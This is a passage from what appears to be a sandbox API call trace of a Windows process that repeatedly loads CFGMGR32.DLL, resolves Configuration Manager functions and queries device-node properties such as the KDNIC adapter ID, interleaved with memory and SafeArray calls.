(hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.630] malloc (_Size=0x18) returned 0x20abc281be0 [0232.630] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0232.630] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x466d50bb, dwHighDateTime=0x1d9eb0c)) [0232.631] SetEvent (hEvent=0x248) returned 1 [0232.698] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.698] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.702] malloc (_Size=0x18) returned 0x20abc2819c0 [0232.702] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.705] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4676d96f, dwHighDateTime=0x1d9eb0c)) [0232.706] SetEvent (hEvent=0x248) returned 1 [0232.710] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.710] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.713] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.713] malloc (_Size=0x18) returned 0x20abc281fc0 [0232.714] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x20, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0232.714] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x46793d37, dwHighDateTime=0x1d9eb0c)) [0232.714] SetEvent (hEvent=0x248) returned 1 [0232.802] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.802] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.816] malloc (_Size=0x18) returned 0x20abc281fa0 [0232.817] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x20, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0232.818] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4689ec27, dwHighDateTime=0x1d9eb0c)) [0232.818] SetEvent (hEvent=0x248) returned 1 [0232.820] SetEvent (hEvent=0x248) returned 1 [0232.820] free (_Block=0x20abc27cf80) [0232.821] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0232.821] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4689ec27, dwHighDateTime=0x1d9eb0c)) [0232.821] SetEvent (hEvent=0x248) returned 1 [0232.825] SetEvent (hEvent=0x248) returned 1 [0232.825] free (_Block=0x20abc27cf80) [0232.825] CM_Get_Device_IDA (in: dnDevInst=0x21, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\KDNIC\\0000") returned 0x0 [0232.826] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4689ec27, dwHighDateTime=0x1d9eb0c)) [0232.826] SetEvent (hEvent=0x248) returned 1 [0232.827] SetEvent (hEvent=0x248) returned 1 [0232.828] free (_Block=0x20abc27cf80) [0232.828] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0232.828] malloc (_Size=0x18) returned 0x20abc281b80 [0232.829] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b80, pulLength=0x2dc22fd3f8) returned 0x0 [0232.829] free (_Block=0x20abc281b80) [0232.829] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4689ec27, dwHighDateTime=0x1d9eb0c)) [0232.829] SetEvent (hEvent=0x248) returned 1 [0232.830] malloc (_Size=0x18) returned 0x20abc281f60 [0232.830] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0232.830] free (_Block=0x20abc281f60) [0232.830] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bf70 [0232.830] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.830] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0232.830] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0232.830] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a30 [0232.830] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.830] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0232.830] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0232.830] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0232.831] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.831] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a30) returned 1 [0232.832] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bf70) returned 1 [0232.833] SetEvent (hEvent=0x248) returned 1 [0232.833] free (_Block=0x20abc27cf80) [0232.834] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0232.834] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x468c558b, dwHighDateTime=0x1d9eb0c)) [0232.834] SetEvent (hEvent=0x248) returned 1 [0232.835] SetEvent (hEvent=0x248) returned 1 [0232.836] free (_Block=0x20abc27cf80) [0232.836] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.840] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x468c558b, dwHighDateTime=0x1d9eb0c)) [0232.841] SetEvent (hEvent=0x248) returned 1 [0232.842] SetEvent (hEvent=0x248) returned 1 [0232.843] free (_Block=0x20abc27cf80) [0232.843] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.843] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x468c558b, dwHighDateTime=0x1d9eb0c)) [0232.844] SetEvent (hEvent=0x248) returned 1 [0232.845] SetEvent (hEvent=0x248) returned 1 [0232.846] free (_Block=0x20abc27cf80) [0232.846] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.847] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x468c558b, dwHighDateTime=0x1d9eb0c)) [0232.847] SetEvent (hEvent=0x248) returned 1 [0232.945] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.945] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.948] malloc (_Size=0x18) returned 0x20abc281e60 [0232.949] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.949] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x469cffd1, dwHighDateTime=0x1d9eb0c)) [0232.949] SetEvent (hEvent=0x248) returned 1 [0232.954] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.954] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.958] malloc (_Size=0x18) returned 0x20abc282000 [0232.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.960] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x469f63f8, dwHighDateTime=0x1d9eb0c)) [0232.961] SetEvent (hEvent=0x248) returned 1 [0232.965] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.965] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 